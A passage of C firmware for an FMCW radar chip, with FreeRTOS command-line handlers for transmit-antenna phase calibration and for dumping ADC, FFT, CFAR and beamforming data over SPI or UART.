*(slv_fft_buf + rx_buf_offset-1) = cascade_read_buf(rx_buf_offset); // read fft data from spi, store first then print
rx_buf_offset++;
}
}
cascade_read_buf_done(); /* release rx buffer */
rx_buf_offset = 0;
for (int bpm_index = bpm_idx_min; bpm_index <= bpm_idx_max; bpm_index++) {
for (int ch_index = 0; ch_index < MAX_NUM_RX; ch_index++) {
uint32_t fft2d_data = *(slv_fft_buf + rx_buf_offset++);
complex_t complex_fft = cfl_to_complex(fft2d_data, 14, 14, true, 4, false);
float angle = (atan2f(complex_fft.i, complex_fft.r) * 180.0 / 3.14);
float power = (complex_fft.r * complex_fft.r + complex_fft.i * complex_fft.i) / 50;
EMBARC_PRINTF("%7.2f %7.2f ", angle, power);
}
}
EMBARC_PRINTF(" rng_index %d range %.2f slave\n", slv_rng_index, slv_rng_index*bb->sys_params.rng_delta);
} else {
EMBARC_PRINTF("!!! merge timeout ~~~\n"); // To be modified for python identification
} /* endif E_OK */
}
#endif
calib_cnt--;
}else if (calib_cnt == 0){
break;
}else{
taskYIELD();
}
}
if(timer_en){
xTimerStop(xTimerFrame, 0);
frame_ready = true;
}
#if(0) // set 1 to print temperature
float temperature = 0;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
temperature = fmcw_radio_get_temperature(NULL);
/* display info */
sprintf(pcWriteBuffer, "\r\n radio temperature: %.2f \r\n", temperature);
#endif
/* restore zero doppler removel */
BB_WRITE_REG(bb_hw, FFT_ZER_DPL_ENB, old_zer_dpl);
return pdFALSE;
}
/* tx_ant_phase_calib command */
static const CLI_Command_Definition_t tx_ant_phase_calib_command = {
"tx_ant_phase_calib",
"tx_ant_phase_calib \n\r"
"\tOutput tx_ant_phase_calib result.\n\r"
"\tUsage: tx_ant_phase_calib <rx_antenna_idx=0><search_range_start_idx=4> \n\r",
tx_ant_phase_calib_command_handler,
-1
};
static BaseType_t tx_ant_phase_calib_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
sensor_config_t *cfg = sensor_config_get_cur_cfg();
baseband_t *bb = baseband_get_cur_bb();
baseband_hw_t *bb_hw = &bb->bb_hw;
//back up tx_groups
uint32_t tx_groups_bk[MAX_NUM_TX];
memcpy(&tx_groups_bk[0], &cfg->tx_groups[0], MAX_NUM_TX*sizeof(uint32_t));
//reset tx_groups to 0
memset(&cfg->tx_groups[0], 0, MAX_NUM_TX*sizeof(uint32_t));
const char *param1, *param2;
BaseType_t len1, len2;
float calib_phase_result;//toggled phase calibration result
float calib_rx_angle[2];
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
uint8_t rx_antenna_idx; // rx antenna index
uint32_t phase_scramble_init_state_bak;
uint32_t phase_scramble_tap_bak;
uint32_t phase_scramble_init_state_01;
uint32_t phase_scramble_tap_01;
uint32_t rng_max_index;
int32_t search_range_start_idx;
/* get parameter */
EMBARC_PRINTF("------ important notice ------\n");
if (param1 != NULL) {
rx_antenna_idx = strtol(param1, NULL, 0);
if (rx_antenna_idx >= MAX_NUM_RX){
EMBARC_PRINTF("the rx_antenna_idx does not exist, the default value 0 is used\n");
rx_antenna_idx = 0;
}
}
else{//default rx antenna index
rx_antenna_idx = 0;
}
//MAX_VALUE_SEARCH_RANGE_LEN-2,minus 2 in order to endure the error
float longest_dis = (cfg->fmcw_chirp_rampup*3.0*1e2*cfg->adc_freq*(MAX_VALUE_SEARCH_RANGE_LEN-2)/(2.0*cfg->fmcw_bandwidth*cfg->rng_nfft));
EMBARC_PRINTF("make sure you put the corner reflector at most %.2f meters away\n",longest_dis);
if (param2 != NULL) {
search_range_start_idx = strtol(param2, NULL, 0);
if ((search_range_start_idx >= MAX_VALUE_SEARCH_RANGE_LEN) || (search_range_start_idx < RNG_START_SEARCH_IDX)){
EMBARC_PRINTF("the search_range_start_idx is not appropriate, the default value 4 is used\n");
search_range_start_idx = RNG_START_SEARCH_IDX;
}
}
else{
search_range_start_idx = RNG_START_SEARCH_IDX;
}
EMBARC_PRINTF("make sure you put the corner reflector far away enough to elevate the precision\n");
float shortest_dis = (cfg->fmcw_chirp_rampup*3.0*1e2*cfg->adc_freq*search_range_start_idx/(2.0*cfg->fmcw_bandwidth*cfg->rng_nfft));
EMBARC_PRINTF("at least %.2f meters away\n",shortest_dis);
/* turn off zero doppler removel */
bool old_zer_dpl = BB_READ_REG(bb_hw, FFT_ZER_DPL_ENB);
BB_WRITE_REG(bb_hw, FFT_ZER_DPL_ENB , 0);
//generate "0101..." XOR chain
phase_scramble_init_state_01 = 0xaaaaaaaa;
phase_scramble_tap_01 = 0x1;
//back up the pre XOR chain
phase_scramble_init_state_bak = BB_READ_REG(bb_hw, FFT_DINT_DAT_PS);
phase_scramble_tap_bak = BB_READ_REG(bb_hw, FFT_DINT_MSK_PS);
//rewrite "010101..." XOR CHAIN for test
BB_WRITE_REG(bb_hw, FFT_DINT_DAT_PS, phase_scramble_init_state_01);
BB_WRITE_REG(bb_hw, FFT_DINT_MSK_PS, phase_scramble_tap_01);
BB_WRITE_REG(bb_hw, SAM_DINT_DAT, phase_scramble_init_state_01);
BB_WRITE_REG(bb_hw, SAM_DINT_MSK, phase_scramble_tap_01);
uint32_t old_dint_ena = BB_READ_REG(bb_hw, FFT_DINT_ENA);
//setting phase scramble feature
BB_WRITE_REG(bb_hw, FFT_DINT_ENA , 4);
//setting baseband phase compensation
complex_t ps_cpx_f;
for (int idx = 0; idx < MAX_NUM_RX; idx++) {
ps_cpx_f.r = cos(180.0 * M_PI / 180);
ps_cpx_f.i = sin(180.0 * M_PI / 180);
baseband_write_reg(bb_hw,
(uint32_t)(((uint32_t *)BB_REG_FFT_DINT_COE_PS_0) + idx),
complex_to_cfx(&ps_cpx_f, 14, 1, true));
}
//setting rf phase compensation
fmcw_radio_t * radio = &bb->radio;
uint32_t nvarray_bk = cfg->nvarray;
//reset cfg->nvarray and correlated registers with nvarray
cfg->nvarray = 1;
uint32_t size_bpm_bk = BB_READ_REG(bb_hw, SYS_SIZE_BPM);
BB_WRITE_REG(bb_hw, SYS_SIZE_BPM , cfg->nvarray - 1);
uint32_t size_vel_buf = BB_READ_REG(bb_hw, SYS_SIZE_VEL_BUF);
uint32_t chip_used = cfg->nchirp / cfg->nvarray;
uint32_t chip_buf = chip_used > cfg->vel_nfft ? cfg->vel_nfft : chip_used;
BB_WRITE_REG(bb_hw, SYS_SIZE_VEL_BUF, chip_buf - 1);
//reset vitual array registers
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
for (int ch = 0; ch < MAX_NUM_TX; ch++) {
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_TX0_CTRL_1_2 + ch * 3, 0);
}
//store old rf register
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
uint8_t old_ps_tap0 = RADIO_READ_BANK_REG(3, FMCW_PS_TAP0);
uint8_t old_ps_tap1 = RADIO_READ_BANK_REG(3, FMCW_PS_TAP1);
uint8_t old_ps_tap2 = RADIO_READ_BANK_REG(3, FMCW_PS_TAP2);
uint8_t old_ps_tap3 = RADIO_READ_BANK_REG(3, FMCW_PS_TAP3);
uint8_t old_ps_state0 = RADIO_READ_BANK_REG(3, FMCW_PS_STATE0);
uint8_t old_ps_state1 = RADIO_READ_BANK_REG(3, FMCW_PS_STATE1);
uint8_t old_ps_state2 = RADIO_READ_BANK_REG(3, FMCW_PS_STATE2);
uint8_t old_ps_state3 = RADIO_READ_BANK_REG(3, FMCW_PS_STATE3);
//setting rf register
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP0, REG_L(phase_scramble_tap_01));
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP1, REG_M(phase_scramble_tap_01));
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP2, REG_H(phase_scramble_tap_01));
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP3, REG_INT(phase_scramble_tap_01));
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE0, REG_L(phase_scramble_init_state_01));
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE1, REG_M(phase_scramble_init_state_01));
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE2, REG_H(phase_scramble_init_state_01));
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE3, REG_INT(phase_scramble_init_state_01));
/* Phase scramble configureation for group 1 */
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
uint32_t old_phase_scramble_flag = fmcw_radio_reg_read(radio, RADIO_BK5_FMCW_PS_EN_1);
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_PS_EN_1, 0x3); /*enable phase scramble*/
fmcw_radio_switch_bank(radio, old_bank);
uint32_t old_buf_store = baseband_switch_buf_store(NULL, SYS_BUF_STORE_FFT);
for (int tx_ant_idx = 0; tx_ant_idx < MAX_NUM_TX; tx_ant_idx ++) {
calib_rx_angle[0] = 0;
calib_rx_angle[1] = 0;
EMBARC_PRINTF("---tx antenna %d phase calibration start\n",tx_ant_idx);
//configure tx_groups for every antenna
cfg->tx_groups[tx_ant_idx] = 1;
//reset previous TX antenna
if (tx_ant_idx > 0)
cfg->tx_groups[tx_ant_idx-1] = 0;
/* start baseband */
baseband_start_with_params(bb, true, true,
(SYS_ENABLE_SAM_MASK << SYS_ENABLE_SAM_SHIFT),
true, BB_IRQ_ENABLE_SAM_DONE, false);
/* wait done */
while (baseband_hw_is_running(bb_hw) == false)
;
while (baseband_hw_is_running(bb_hw) == true)
;
float peak_power = 0;
complex_t complex_fft;
uint32_t fft_mem;
rng_max_index = 0;
// Search test target peak in 1D-FFT plane with velocity = 0
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
float power_tmp;
//calculate power
for (uint32_t tmp_rng_ind = RNG_START_SEARCH_IDX-1; tmp_rng_ind < MAX_VALUE_SEARCH_RANGE_LEN; tmp_rng_ind++) {
fft_mem = baseband_hw_get_fft_mem(bb_hw, rx_antenna_idx, tmp_rng_ind, 0, 0);
complex_fft = cfl_to_complex(fft_mem, 14, 14, true, 4, false);
power_tmp = complex_fft.r * complex_fft.r + complex_fft.i * complex_fft.i;
//get max index
if (peak_power < power_tmp) { // find the peak
peak_power = power_tmp;
rng_max_index = tmp_rng_ind; // peak index
}
}
for(uint32_t vel_idx = 0; vel_idx < cfg->vel_nfft; vel_idx++){
fft_mem = baseband_hw_get_fft_mem(bb_hw, rx_antenna_idx, rng_max_index, vel_idx, 0);
complex_fft = cfl_to_complex(fft_mem, 14, 14, true, 4, false);
float theta = atan2f(complex_fft.i, complex_fft.r) * 180.0 / 3.14;
calib_rx_angle[vel_idx%2] += (theta/(cfg->vel_nfft/2));
}
//1DFFT data has been phase compensated already before used
calib_phase_result = (180.0 + calib_rx_angle[0] - calib_rx_angle[1]);
if (calib_phase_result < 0)
calib_phase_result += 360;
else if (calib_phase_result >= 360)
calib_phase_result -= 360;
EMBARC_PRINTF("---tx antenna %d phase calibration result %f\n", tx_ant_idx, calib_phase_result);
baseband_switch_mem_access(bb_hw, old);
}
//restore rf XOR chain
old_bank = fmcw_radio_switch_bank(radio, 3);
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP0, old_ps_tap0);
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP1, old_ps_tap1);
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP2, old_ps_tap2);
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP3, old_ps_tap3);
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE0, old_ps_state0);
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE1, old_ps_state1);
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE2, old_ps_state2);
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE3, old_ps_state3);
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_PS_EN_1, old_phase_scramble_flag);
fmcw_radio_switch_bank(radio, old_bank);
BB_WRITE_REG(bb_hw, FFT_DINT_ENA, old_dint_ena);
//buffer restore
baseband_switch_buf_store(NULL, old_buf_store);
/* restore zero doppler removel */
BB_WRITE_REG(bb_hw, FFT_ZER_DPL_ENB, old_zer_dpl);
/* restore XOR chain */
BB_WRITE_REG(bb_hw, FFT_DINT_DAT_PS, phase_scramble_init_state_bak);
BB_WRITE_REG(bb_hw, FFT_DINT_MSK_PS, phase_scramble_tap_bak);
BB_WRITE_REG(bb_hw, SAM_DINT_DAT, phase_scramble_init_state_bak);
BB_WRITE_REG(bb_hw, SAM_DINT_MSK, phase_scramble_tap_bak);
//restore tx channel PA & LDO
bool enable;
for(uint8_t ch = 0; ch < MAX_NUM_TX; ch++) {
enable = !(cfg->tx_groups[ch] == 0);
fmcw_radio_tx_ch_on(NULL, ch, enable);
MDELAY(1); /* for FMCW settled */
}
//restore tx_groups
memcpy(&cfg->tx_groups[0], &tx_groups_bk[0], MAX_NUM_TX*sizeof(uint32_t));
//restore cfg->nvarray
cfg->nvarray = nvarray_bk;
//restore SYS_SIZE_BPM,SYS_SIZE_VEL_BUF
BB_WRITE_REG(bb_hw, SYS_SIZE_BPM , size_bpm_bk);
BB_WRITE_REG(bb_hw, SYS_SIZE_VEL_BUF, size_vel_buf);
/*restore virtual array settings*/
if (cfg->nvarray >= 2) {
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
for (int ch = 0; ch < MAX_NUM_TX; ch++) {
if (cfg->tx_groups[ch]>0) {
// set VAM config
uint8_t vam_cfg = ( 0x61 | (cfg->anti_velamb_en << 3) | (( cfg->nvarray - 1 ) << 1 ));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_TX0_CTRL_1_2 + ch * 3, vam_cfg);
/* set VAM group patten*/
uint16_t bit_mux[MAX_NUM_TX] = {0,0,0,0};
bit_parse(cfg->tx_groups[ch], bit_mux);
uint8_t bit_mux_all = bit_mux[0]<<6 | bit_mux[1]<<4 | bit_mux[2]<< 2 | bit_mux[3];
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_TX0_CTRL_1_1 + ch * 3, bit_mux_all);
} else {
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_TX0_CTRL_1_2 + ch * 3, 0); // clear 0
}
}
}
return pdFALSE;
}
/* bb_datdump_serport command */
static const CLI_Command_Definition_t bb_datdump_serport_command = {
"bb_datdump_serport",
"bb_datdump_serport \n\r"
"\tDump n frame data through SPI or UART\n\r"
"\tUsage: bb_datdump_serport <'adc'/'fft1d'/'fft2d'> <'spi'> <spi_id(0-2)> <frame_num>\n "
"\tor bb_datdump_serport <'adc'/'fft1d'/'fft2d'> <'uart'> <bpm_index(0-3)> <ch_index(0-3)> <frame_num> \n"
"\tor bb_datdump_serport <'adc'/'fft1d'/'fft2d'> <'uart'> <bpm_index(0-3)> < '4' > <frame_num> \n" // Print all channel data
"\tor bb_datdump_serport <'cfar'/'bfm'> <'uart'> <frame_num> \n\r",
bb_datdump_serport_command_handler,
-1
};
typedef enum {
eBB_DATDUMP_ADC = 0, /* Dump ADC Data */
eBB_DATDUMP_1DFFT = 1, /* Dump 1DFFT Data */
eBB_DATDUMP_2DFFT = 2, /* Dump 2DFFT Data */
eBB_DATDUMP_CFAR = 3, /* Dump CFAR Data */
eBB_DATDUMP_BFM = 4, /* Dump BFM Data */
} eBB_DATDUMP_TYPE;
typedef enum {
eBB_DATDUMP_SPI = 0, /* Dump BB Data through SPI Interface */
eBB_DATDUMP_UART = 1, /* Dump BB Data through UART Interface */
} eBB_DATDUMP_IF;
static BaseType_t bb_datdump_serport_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
baseband_t* bb = baseband_get_rtl_frame_type(); /* read back the bank selected in RTL */
sensor_config_t* cfg = (sensor_config_t*)(bb->cfg);
baseband_hw_t* bb_hw = &bb->bb_hw;
const char *param1, *param2, *param3, *param4, *param5;
BaseType_t len1, len2, len3, len4, len5;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
param4 = FreeRTOS_CLIGetParameter(pcCommandString, 4, &len4);
param5 = FreeRTOS_CLIGetParameter(pcCommandString, 5, &len5);
unsigned char dump_position = 0;
int32_t nframe = 0;
eBB_DATDUMP_TYPE eBBDatdumpType; // 0: adc 1: fft1d 2: fft2d 3: cfar 4: bfm
eBB_DATDUMP_IF eBBDatdumpIf; // 0: SPI 1: UART
eSPIM_ID SPIM_ID; // 0: SPI_M0(master0) 1: SPI_M1(master1)
char bpm_index_input = 0; // Input bpm (virtual array) index of adc/fft1d/fft2d data to dump to UART
signed char ch_index_input = 0; // Input channel index of adc/fft1d/fft2d data to dump to UART
char * dat_type_str[3] = {"\nADC", "\nFFT_1D", "\nFFT_2D"};
uint32_t event = 0;
/* Get Data Dump Type Parameter - ADC/1DFFT/2DFFT/CFAR/BFM */
if (param1 != NULL) {
if (strncmp(param1, "adc", sizeof("adc") - 1) == 0) {
dump_position = SYS_BUF_STORE_ADC;
eBBDatdumpType = eBB_DATDUMP_ADC;
} else if (strncmp(param1, "fft1d", sizeof("fft1d") - 1) == 0) {
dump_position = SYS_BUF_STORE_FFT;
eBBDatdumpType = eBB_DATDUMP_1DFFT;
} else if (strncmp(param1, "fft2d", sizeof("fft2d") - 1) == 0) {
dump_position = SYS_BUF_STORE_FFT;
eBBDatdumpType = eBB_DATDUMP_2DFFT;
} else if (strncmp(param1, "cfar", sizeof("cfar") - 1) == 0) {
dump_position = SYS_BUF_STORE_FFT; // This is a MUST! Or ERROR will happen!
eBBDatdumpType = eBB_DATDUMP_CFAR;
} else if (strncmp(param1, "bfm", sizeof("bfm") - 1) == 0) {
dump_position = SYS_BUF_STORE_FFT; // This is a MUST! Or ERROR will happen!
eBBDatdumpType = eBB_DATDUMP_BFM;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_serport_command);
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_serport_command);
return pdFALSE;
}
/* Get Data Dump Interface - SPI/UART */
if (param2 != NULL) {
if (strncmp(param2, "spi", sizeof("spi") - 1) == 0) {
eBBDatdumpIf = eBB_DATDUMP_SPI;
/* Indicate SPI ID Number */
if (param3 != NULL) {
SPIM_ID = strtol(param3, NULL, 0);
if (SPIM_ID > eSPIM_ID_1) {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_serport_command);
EMBARC_PRINTF("\n ERR : spi_id > 2 !\n");
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_serport_command);
return pdFALSE;
}
/* Indicate SPI Dump Frame Number */
if (param4 != NULL) {
nframe = strtol(param4, NULL, 0);
}
} else if (strncmp(param2, "uart", sizeof("uart") - 1) == 0) {
eBBDatdumpIf = eBB_DATDUMP_UART;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_serport_command);
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_serport_command);
return pdFALSE;
}
/* spi dump CFAR/BFM data NOT supported !!! */
if ((eBBDatdumpType >= eBB_DATDUMP_CFAR) && (eBBDatdumpIf == eBB_DATDUMP_SPI)) {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_serport_command);
return pdFALSE;
}
/* specify BPM and channel index using uart dump ADC/1D-FFT/2D-FFT data */
if ((eBBDatdumpType < eBB_DATDUMP_CFAR) && (eBBDatdumpIf == eBB_DATDUMP_UART)) {
/* Indicate bpm index */
if (param3 != NULL) {
bpm_index_input = strtol(param3, NULL, 0);
if (bpm_index_input > cfg->nvarray - 1) {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_serport_command);
EMBARC_PRINTF("\n ERR: BPM size is %d, but bpm_index > %d !\n", cfg->nvarray, cfg->nvarray-1);
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_serport_command);
return pdFALSE;
}
/* Indicate channel index */
if (param4 != NULL) {
ch_index_input = strtol(param4, NULL, 0);
if (ch_index_input > 3 || ch_index_input < 0) {
ch_index_input = -1; // If param4 > 3, print all 4 channel data!
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_datdump_serport_command);
return pdFALSE;
}
/* Indicate UART Dump Frame Number */
if (param5 != NULL) {
nframe = strtol(param5, NULL, 0);
} else {
nframe = 1;
}
}
if (eBBDatdumpIf == eBB_DATDUMP_SPI) {
spi_master_init(SPIM_ID, SPIM_BAUD_RATE_1M);
}
/* bb run */
bool tx_en = true;
bool radio_en = true;
/* baseband dump init */
uint32_t old_buf_store = baseband_switch_buf_store(bb_hw, dump_position);
uint8_t old_bnk = BB_READ_REG(bb_hw, FDB_SYS_BNK_ACT); /* read back the bank selected in RTl */
uint16_t old_status_en = BB_READ_REG(bb_hw, SYS_ENABLE);
uint16_t bb_status_en = 0;
uint8_t bb_mem_access_pos;
if ( eBBDatdumpType == eBB_DATDUMP_2DFFT ) {
/* Set BB run until 2DFFT finish */
bb_status_en = (1 << SYS_ENABLE_SAM_SHIFT )
| (1 << SYS_ENABLE_FFT_2D_SHIFT );
bb_mem_access_pos = SYS_MEM_ACT_BUF;
} else if ( (eBBDatdumpType == eBB_DATDUMP_ADC) || (eBBDatdumpType == eBB_DATDUMP_1DFFT) ) {
/* Set BB run until ADC/1DFFT Sample finish */
bb_status_en = (1 << SYS_ENABLE_SAM_SHIFT);
bb_mem_access_pos = SYS_MEM_ACT_BUF;
} else if ( (eBBDatdumpType == eBB_DATDUMP_CFAR) || (eBBDatdumpType = eBB_DATDUMP_BFM) ) {
/* Set BB run until CFAR/BFM finish - Only UART Support */
bb_status_en = (SYS_ENABLE_SAM_MASK << SYS_ENABLE_SAM_SHIFT)
| (SYS_ENABLE_FFT_2D_MASK << SYS_ENABLE_FFT_2D_SHIFT)
| (SYS_ENABLE_CFR_MASK << SYS_ENABLE_CFR_SHIFT)
| (SYS_ENABLE_BFM_MASK << SYS_ENABLE_BFM_SHIFT);
bb_mem_access_pos = SYS_MEM_ACT_RLT;
}
/*--------------------------- dump data --------------------------*/
EMBARC_PRINTF("\n # data_type is %d, dump_type is %d\n", eBBDatdumpType, eBBDatdumpIf);
uint8_t frame_type = baseband_get_cur_frame_type();
EMBARC_PRINTF("\n # current frame_type = %d \n", frame_type);
/* dump adc/fft1d/fft2d data through spi */
if (((eBBDatdumpType == eBB_DATDUMP_ADC) || (eBBDatdumpType == eBB_DATDUMP_1DFFT) || (eBBDatdumpType == eBB_DATDUMP_2DFFT)) && (eBBDatdumpIf == eBB_DATDUMP_SPI)) {
int frame_index, ch_index, vel_index, rng_index, bpm_index;
uint32_t fft_mem;
uint32_t old;
bool uart_debug = true;
for (frame_index = 0; frame_index < nframe; frame_index++) {
/* BB Start */
baseband_start_with_params(bb, radio_en, tx_en, bb_status_en, true, BB_IRQ_ENABLE_ALL, false);
/* wait bb irq */
if(xQueueReceive(queue_bb_isr, &event, portMAX_DELAY) == pdTRUE)
;
old = baseband_switch_mem_access(bb_hw, bb_mem_access_pos);
for (bpm_index = 0; bpm_index <= cfg->nvarray - 1; bpm_index++){
for (ch_index = 0; ch_index < MAX_NUM_RX; ch_index++) {
if (uart_debug) {
EMBARC_PRINTF(dat_type_str[eBB_DATDUMP_ADC]);
EMBARC_PRINTF("(:, :, %d, %d) = [ ", ch_index+1, bpm_index+1); // print in MATLAB style
}
for (vel_index = 0; vel_index < cfg->vel_nfft; vel_index++ ) {
for (rng_index = 0; rng_index < cfg->rng_nfft / 2; rng_index++ ) {
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, rng_index, vel_index, bpm_index);
/* Start SPI transfer */
chip_hw_udelay(1); //
spi_write(SPIM_ID, &fft_mem, 1);
chip_hw_udelay(1);
if (uart_debug){ // uart print for spi debug
EMBARC_PRINTF("%u ", fft_mem); // Print unsigned long to UART
UDELAY(1);
}
if (uart_debug && (rng_index % 20 == 0)){
EMBARC_PRINTF("...\n"); // switch to next line
UDELAY(2);
}
}
if (uart_debug) {
EMBARC_PRINTF(";...\n"); // end of one row
UDELAY(2);
}
}
if (uart_debug) {
EMBARC_PRINTF("];...\n"); // end of one matrix
}
}
}
MDELAY(1);
baseband_switch_mem_access(bb_hw, old);
}
}
/* dump adc/fft1d/fft2d data through uart */
if (((eBBDatdumpType == eBB_DATDUMP_ADC) || (eBBDatdumpType == eBB_DATDUMP_1DFFT) || (eBBDatdumpType == eBB_DATDUMP_2DFFT)) && (eBBDatdumpIf == eBB_DATDUMP_UART)) {
int frame_index, ch_index, vel_index, rng_index;
uint32_t fft_mem;
uint32_t old;
unsigned char dump_channel_num = 1;
if (ch_index_input < 0) {
dump_channel_num = MAX_NUM_RX; // print all 4 channels
} else {
dump_channel_num = 1; // print one channel
}
EMBARC_PRINTF("# ch_index_input = %d, dump_channel_num = %d \n", ch_index_input, dump_channel_num);
for (frame_index = 0; frame_index < nframe; frame_index++) {
/* BB Start */
baseband_start_with_params(bb, radio_en, tx_en, bb_status_en, true, BB_IRQ_ENABLE_ALL, false);
/* wait bb irq */
if(xQueueReceive(queue_bb_isr, &event, portMAX_DELAY) == pdTRUE)
;
old = baseband_switch_mem_access(bb_hw, bb_mem_access_pos);
for (ch_index = 0; ch_index < dump_channel_num; ch_index++) {
EMBARC_PRINTF(dat_type_str[eBBDatdumpType]);
EMBARC_PRINTF("(:, :, %d, %d) = [ ", ch_index+1, bpm_index_input+1); // print data in MATLAB style
UDELAY(2);
for (vel_index = 0; vel_index < cfg->vel_nfft; vel_index++ ) {
for (rng_index = 0; rng_index < cfg->rng_nfft / 2; rng_index++ ) {
if (ch_index_input < 0) {
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, rng_index, vel_index, bpm_index_input); // print all 4 channels
} else {
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index_input, rng_index, vel_index, bpm_index_input); // print specified channel
}
UDELAY(2);
EMBARC_PRINTF("%u ", fft_mem); // Print unsigned long to UART
UDELAY(2);
if (rng_index % 20 == 0){
EMBARC_PRINTF("...\n"); // switch to next line
UDELAY(2);
}
}
EMBARC_PRINTF(";...\n"); // end of one row
UDELAY(2);
}
EMBARC_PRINTF("];...\n"); // end of one matrix
UDELAY(5);
}
MDELAY(1);
baseband_switch_mem_access(bb_hw, old);
}
}
/* dump cfar/bfm data through uart */
if ((eBBDatdumpType == eBB_DATDUMP_CFAR) || (eBBDatdumpType == eBB_DATDUMP_BFM)) {
uint8_t frame_type = baseband_get_cur_frame_type();
EMBARC_PRINTF("\n frame_type = %d \n", frame_type);
radar_sys_params_t* sys_params = bb->track->radar_params[frame_type];
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
uint32_t mem_rlt_offset = frame_type * (1<<SYS_SIZE_OBJ_WD_BNK) * RESULT_SIZE;
volatile obj_info_t *obj_info = (volatile obj_info_t *)(BB_MEM_BASEADDR + mem_rlt_offset);
int obj_num = baseband_read_reg(bb_hw, BB_REG_CFR_NUMB_OBJ);
int32_t hw_rng, hw_vel, hw_sig, hw_noi, hw_ang;
float measure_rng, measure_vel, measure_sig, measure_noi, measure_ang;
EMBARC_PRINTF("\n--------- Object num is %d -------\n", obj_num);
EMBARC_PRINTF("------- objects info list: --------\n\n");
for (int i = 0; i < obj_num; i++) {
hw_rng = obj_info[i].rng_idx;
hw_vel = obj_info[i].vel_idx;
hw_sig = obj_info[i].doa[0].sig_0;
hw_ang = obj_info[i].doa[0].ang_idx_0;
hw_noi = obj_info[i].noi;
EMBARC_PRINTF(" obj_ind = %d \n [Hardware value]:\n 2DFFT_rng_ind = %d, 2DFFT_vel_ind = %d, DBF_peak_ind = %d, 2DFFT_peak power = %d\n\n",
i, hw_rng, hw_vel, hw_ang, hw_sig);
radar_param_fft2rv_nowrap(sys_params, hw_rng, hw_vel, &measure_rng, &measure_vel);
measure_sig = fl_to_float(hw_sig, 15, 1, false, 5, false);
measure_noi = fl_to_float(hw_noi, 15, 1, false, 5, false); // In MP firmware, '* sys_params->noise_factor' is removed
measure_ang = sys_params->bfm_az_left + hw_ang * sys_params->az_delta_deg ;
EMBARC_PRINTF(" [Measured value]:\n SNR(dB):%3.2f, R(m):%3.2f, V(m/s):%3.2f, A(deg):%3.2f\n\n",
10*log10f(measure_sig/measure_noi),
measure_rng,
measure_vel,
measure_ang);
uint32_t old1 = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
uint32_t fft_mem;
complex_t complex_fft;
for (int bpm_index = 0; bpm_index <= cfg->nvarray - 1; bpm_index++){
EMBARC_PRINTF(" [Corresponding 2D-FFT peak values]:\n [bpm_index = %d, rx1-%d]:\n", bpm_index, MAX_NUM_RX);
for (int ch_index = 0; ch_index < MAX_NUM_RX; ch_index++){
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, hw_rng, hw_vel, bpm_index);
complex_fft = cfl_to_complex(fft_mem, 14, 14, true, 4, false);
EMBARC_PRINTF("%7.2f + j*%1.2f", complex_fft.r, complex_fft.i);
}
}
EMBARC_PRINTF("\n\n");
baseband_switch_mem_access(bb_hw, old1);
}
baseband_switch_mem_access(bb_hw, old);
}
BB_WRITE_REG(bb_hw, SYS_BNK_ACT, old_bnk);
BB_WRITE_REG(bb_hw, SYS_ENABLE, old_status_en);
baseband_switch_buf_store(bb_hw, old_buf_store);
return pdFALSE;
}
static const CLI_Command_Definition_t bb_dbg_urt_command = {
"bb_dbg_urt",
"bb_dbg_urt \n\r"
